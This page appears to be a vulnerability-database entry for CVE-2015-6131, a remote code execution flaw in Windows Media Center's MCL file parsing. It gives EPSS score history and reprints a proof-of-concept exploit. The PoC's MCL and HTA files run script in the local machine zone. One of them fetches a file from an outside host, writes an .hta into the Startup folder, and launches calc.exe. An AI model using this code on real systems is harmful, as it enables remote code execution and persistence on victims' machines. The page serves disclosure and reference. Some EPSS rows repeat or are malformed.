CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Windows Media Center in Microsoft Windows Vista SP2, Windows 7 SP1, Windows 8, and Windows 8.1 allows remote attackers to execute arbitrary code via a crafted .mcl file, aka "Media Center Library Parsing RCE Vulnerability."
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EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
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56.99%
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2022-02-13
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56.99%
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2023-03-12
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94.58%
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2023-04-23
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94.26%
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2023-05-21
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94.11%
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2023-07-30
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94.41%
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2024-06-02
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94.41%
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2024-12-22
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69.9%
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2025-02-23
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68.86%
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2025-01-19
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69.9%
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2025-02-23
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68.86%
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2025-03-18
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57.01%
2025-03-18
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57.01,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2015-12-08 23h00 +00:00 Author : Eduardo Braun Prado EDB Verified : No
Title: Microsoft Windows Media Center Library Parsing RCE Vuln aka "self-executing" MCL file (CVE-2015-6131)
Software Vendor: Microsoft
Software version : MS Windows Media Center latest version on any Windows OS.
Software Vendor Homepage: http://www.microsoft.com
CVE: CVE-2015-6131
Exploit Author: Eduardo Braun Prado
Vulnerability oficial discoverer: Zhang YunHai of NSFOCUS Security Team
date: december 8, 2015
Vulnerability description:
Windows Media Center contains a remote code execution vulnerability because it allows "MCL" files to reference themselves as HTML pages, which will be parsed inside Windows Media Center window, in the context of the local machine security zone of Internet Explorer browser. This in turn allows execution of arbitrary code using eg. ADO ActiveX Objects. AKA "self-executing" MCL files.
exploit code below:
----------- self-exec-1.mcl ------------------------------------
<application url="self-exec1.mcl"/><html><script>alert(' I am running in local machine zone which allows arbitrary code execution via, for example, ADO Objects')</script></html>
------------------------------------------------------------
----------self-exec-2.mcl--------------------------------------
<application url="self-exec2.mcl"/><html><b>Use a sniffer software to sniff SMB traffic and retrieve the remote Windows username required for this exploit</b><img src=\\192.168.10.10\smbshare\someimg.jpg></img><script> RecordsetURL='http://192.168.10.10:80/recordsetfile.txt'; var rs = new ActiveXObject('ADODB.recordset'); rs.Open(RecordsetURL); rs.Save('C:/users/windowsuser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/poc.hta'); rs.Close();
</script></html>
----------------------------------------------------------
-----Create-recordsetfile.hta --------------
<html><body onload="aa()">
<script language="VBScript">
function aa()
defdir="."
alert "This script will retrieve data from ""recordsetdata.txt"" and save it to the current directory as ""recordsetfile.txt"".
Set c = CreateObject("ADODB.Connection")
co = "Driver={Microsoft Text Driver (*.txt; *.csv)};DefaultDir=" & defdir & ";Extensions=txt;"
c.Open co
set rs =CreateObject("ADODB.Recordset")
rs.Open "SELECT * from recordsetdata.txt", c
al=rs.Save(defdir & "\recordsetfile.txt")
rs.close
end function
</script></body></html>
-------------------------------------------------------------------------------
---------recordsetdata.txt------------------------------------------
<html>
<script>a=new ActiveXObject('Wscript.Shell')</script>
<script>a.Run('calc.exe',1);</script>
</html>
-------------------------------------------------------------------